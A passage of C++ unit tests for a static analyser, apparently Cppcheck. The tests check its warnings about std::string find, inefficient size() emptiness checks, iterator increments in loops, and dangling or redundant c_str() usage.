(foo(s.find(\\\"abc\\\"))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7349 - std::string::find_first_of\n check(\"void f(const std::string &s) {\\n\"\n \" if (s.find_first_of(\\\"abc\\\")==0) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 10153\n check(\"int main() {\\n\"\n \" for (;;) {\\n\"\n \" std::string line = getLine();\\n\"\n \" if (line.find(\\\" GL_EXTENSIONS =\\\") < 12)\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void size1() {\n {\n const char code[] = \"struct Fred {\\n\"\n \" void foo();\\n\"\n \" std::list x;\\n\"\n \"};\\n\"\n \"void Fred::foo()\\n\"\n \"{\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:7:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"std::list x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 == x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() != 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 != x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() > 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 < x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() >= 1) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() < 1) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (1 <= x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (1 > x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (!x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(x.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] =\"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(!x.size());\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(a && x.size());\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void f() {\\n\" // #4039\n \" std::list x;\\n\"\n \" fun(width % x.size() != 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4584\n check(\"void f() {\\n\"\n \" std::list x;\\n\"\n \" if (foo + 1 > x.size()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f() {\\n\"\n \" std::list x;\\n\"\n \" if (x.size() < 1 + foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void size2() {\n const char code[] = \"struct Fred {\\n\"\n \" std::list x;\\n\"\n \"};\\n\"\n \"struct Wilma {\\n\"\n \" Fred f;\\n\"\n \" void foo();\\n\"\n \"};\\n\"\n \"void Wilma::foo()\\n\"\n \"{\\n\"\n \" if (f.x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:11]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:11]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void size3() {\n {\n const char code[] = \"namespace N {\\n\"\n \" class Zzz {\\n\"\n \" public:\\n\"\n \" std::list x;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"Zzz * zzz;\\n\"\n \"int main() {\\n\"\n \" if (zzz->x.size() > 0) { }\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n }\n\n {\n const char code[] = \"namespace N {\\n\"\n \" class Zzz {\\n\"\n \" public:\\n\"\n \" std::list x;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"int main() {\\n\"\n \" Zzz * zzz;\\n\"\n \" if (zzz->x.size() > 0) { }\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void size4() { // #2652 - don't warn about vector/deque\n check(\"void f(std::vector &v) {\\n\"\n \" if (v.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::deque &v) {\\n\"\n \" if (v.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::array &a) {\\n\"\n \" if (a.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantCondition1() {\n check(\"void f(string haystack)\\n\"\n \"{\\n\"\n \" if (haystack.find(needle) != haystack.end())\\n\"\n \" haystack.remove(needle);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Redundant checking of STL container element existence before removing it. [redundantIfRemove]\\n\", errout_str());\n }\n\n void missingInnerComparison1() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" if (a) {\\n\"\n \" it++;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:2:71]: (warning) Missing bounds check for extra iterator increment in loop. [StlMissingComparison]\\n\", errout_str());\n\n check(\"void f(std::map &ints) {\\n\"\n \" for (std::map::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" ++it->second;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {\\n\"\n \" for(std::vector::const_iterator it = v.begin(); it != v.end(); ++it) {\\n\"\n \" if(it+2 != v.end())\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison2() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" if (a) {\\n\"\n \" it++;\\n\"\n \" if (it == ints.end())\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison3() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" for (std::set::iterator it = ints2.begin(); it != ints2.end(); ++it)\\n\"\n \" { }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison4() {\n check(\"function f1(std::list &l1) {\\n\"\n \" for(std::list::iterator i = l1.begin(); i != l1.end(); i++) {\\n\"\n \" if (*i == 44) {\\n\"\n \" l1.insert(++i, 55);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"function f1(std::list &l1) {\\n\"\n \" for(std::list::iterator i = l1.begin(); i != l1.end(); i++) {\\n\"\n \" if (*i == 44) {\\n\"\n \" l1.insert(++i, 55);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void missingInnerComparison5() {\n check(\"void f() {\\n\"\n \" for(it = map1.begin(); it != map1.end(); it++) {\\n\"\n \" str[i++] = (*it).first;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison6() {\n check(\"void f(std::string &s) {\\n\"\n \" for(string::iterator it = s.begin(); it != s.end(); it++) {\\n\"\n \" it = s.insert(++it, 0);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void cstr() {\n check(\"void f() {\\n\"\n \" std::string errmsg;\\n\"\n \" throw errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after throwing exception. [stlcstrthrow]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::ostringstream errmsg;\\n\"\n \" return errmsg.str().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return std::string(\\\"ERROR: \\\" + errmsg).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return (\\\"ERROR: \\\" + errmsg).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return (\\\"ERROR: \\\" + std::string(\\\"crash me\\\")).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::ostringstream errmsg;\\n\"\n \" const char *c = errmsg.str().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"std::string f();\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" const char *c = f().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" const char *f();\\n\"\n \"};\\n\"\n \"const char *Foo::f() {\\n\"\n \" std::string s;\\n\"\n \" return s.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" std::string GetVal() const;\\n\"\n \"};\\n\"\n \"const char *f() {\\n\"\n \" Foo f;\\n\"\n \" return f.GetVal().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char* foo() {\\n\"\n \" static std::string text;\\n\"\n \" text = \\\"hello world\\\\n\\\";\\n\"\n \" return text.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3427\n\n // Implicit conversion back to std::string\n check(\"std::string get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"const std::string& get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" std::string GetVal() const;\\n\"\n \"};\\n\"\n \"std::string f() {\\n\"\n \" Foo f;\\n\"\n \" return f.GetVal().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"std::string get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string get_msg() {\\n\" // #3678\n \" MyStringClass errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Foo1(const std::string& str) {}\\n\"\n \"void Foo2(const char* c, const std::string str) {}\\n\"\n \"void Foo3(std::string& rstr) {}\\n\"\n \"void Foo4(std::string str, const std::string& str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" std::stringstream ss(\\\"foo\\\");\\n\"\n \" Foo1(str);\\n\"\n \" Foo1(str.c_str());\\n\"\n \" Foo2(str.c_str(), str);\\n\"\n \" Foo2(str.c_str(), str.c_str());\\n\"\n \" Foo3(str.c_str());\\n\"\n \" Foo4(str, str);\\n\"\n \" Foo4(str.c_str(), str);\\n\"\n \" Foo4(str, str.c_str());\\n\"\n \" Foo4(ss.str(), ss.str().c_str());\\n\"\n \" Foo4(str.c_str(), str.c_str());\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:9:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:14:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:15:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:16:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:17:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:17:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\", errout_str());\n\n check(\"void Foo1(const std::string& str) {}\\n\"\n \"void Foo2(char* c, const std::string str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo1(str, foo);\\n\" // Don't crash\n \" Foo2(str.c_str());\\n\" // Don't crash\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" void func(std::string str) const {}\\n\"\n \" static void sfunc(std::string str) {}\\n\"\n \"};\\n\"\n \"void func(std::string str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo foo;\\n\"\n \" func(str.c_str());\\n\"\n \" Foo::sfunc(str.c_str());\\n\"\n \" foo.func(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:10:10]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:9]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"void f(const std::string& s);\\n\" // #8336\n \"struct T {\\n\"\n \" std::string g();\\n\"\n \" std::string a[1];\\n\"\n \" struct U { std::string s; } u;\"\n \"};\\n\"\n \"namespace N { namespace O { std::string s; } }\\n\"\n \"void g(const std::vector& v, T& t) {\\n\"\n \" for (std::vector::const_iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" f(it->c_str());\\n\"\n \" f(v.begin()->c_str());\\n\"\n \" f(t.g().c_str());\\n\"\n \" f(t.a[0].c_str());\\n\"\n \" f(t.u.s.c_str());\\n\"\n \" f(N::O::s.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:9]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:10:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:12:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:13:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:14:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"void svgFile(const std::string &content, const std::string &fileName, const double end = 1000., const double start = 0.);\\n\"\n \"void Bar(std::string filename) {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" std::ofstream svgFile(filename.c_str(), std::ios::trunc);\\n\"\n \" svgFile << \\\"test\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Foo(const char* p) {}\\n\"\n \"void Foo(const std::string& str) {Foo(str.c_str());}\\n\" // Overloaded\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo(str);\\n\"\n \" Foo(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int atoi(const std::string& str) {\\n\" // #3729: Don't suggest recursive call\n \" return atoi(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string hello()\\n\"\n \"{\\n\"\n \" return \\\"hello\\\";\\n\"\n \"}\\n\"\n \"\\n\"\n \"const char *f()\\n\"\n \"{\\n\"\n \" return hello().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Fred {\\n\"\n \" std::string hello();\\n\"\n \" const char *f();\\n\"\n \"};\\n\"\n \"std::string Fred::hello()\\n\"\n \"{\\n\"\n \" return \\\"hello\\\";\\n\"\n \"}\\n\"\n \"const char *Fred::f()\\n\"\n \"{\\n\"\n \" return hello().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n // #4183 - using MyStringClass.c_str()\n check(\"void a(const std::string &str);\\n\"\n \"\\n\"\n \"void b() {\\n\"\n \" MyStringClass s;\\n\"\n \" a(s.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string Format(const char * name) {\\n\" // #4938\n \" return String::Format(\\\"%s:\\\", name).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7480\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"const char* GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo* mapInfo = &internal_getMapInfo;\\n\"\n \" return mapInfo->author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"std::string GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo* mapInfo = &internal_getMapInfo;\\n\"\n \" return mapInfo->author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"const char* GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo mapInfo = internal_getMapInfo;\\n\"\n \" return mapInfo.author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #7656\n \" std::string data;\\n\"\n \"};\\n\"\n \"const S& getS();\\n\"\n \"const char* test() {\\n\"\n \" const struct S &s = getS();\\n\"\n \" return s.data.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #7930\n \" std::string data;\\n\"\n \"};\\n\"\n \"const char* test() {\\n\"\n \" S s;\\n\"\n \" std::string &ref = s.data;\\n\"\n \" return ref.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"void f(const wchar_t* w, int i = 0, ...);\\n\" // #10357\n \"void f(const std::string& s, int i = 0);\\n\"\n \"void g(const std::wstring& p) {\\n\"\n \" f(p.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" //#9161\n \" const char* f() const noexcept {\\n\"\n \" return (\\\"\\\" + m).c_str();\\n\"\n \" }\\n\"\n \" std::string m;\\n\"\n \"};\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10493\n \" void f(const char** pp);\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void S::f(const char** pp) {\\n\"\n \" try {\\n\"\n \" *pp = member.c_str();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" s = \\\"xyz\\\";\\n\"\n \" *pp = member.c_str();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b(a.c_str());\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Constructing a std::string from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b{ a.c_str() };\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Constructing a std::string from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b = a.c_str();\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\", errout_str());\n\n check(\"std::string g(const std::string& a, const std::string& b) {\\n\"\n \" return a + b.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (performance) Concatenating the result of c_str() and a std::string is slow and redundant. [stlcstrConcat]\\n\", errout_str());\n\n check(\"std::string g(const std::string& a, const std::string& b) {\\n\"\n \" return a.c_str() + b;\\n\"\n \"}\\n\");\n 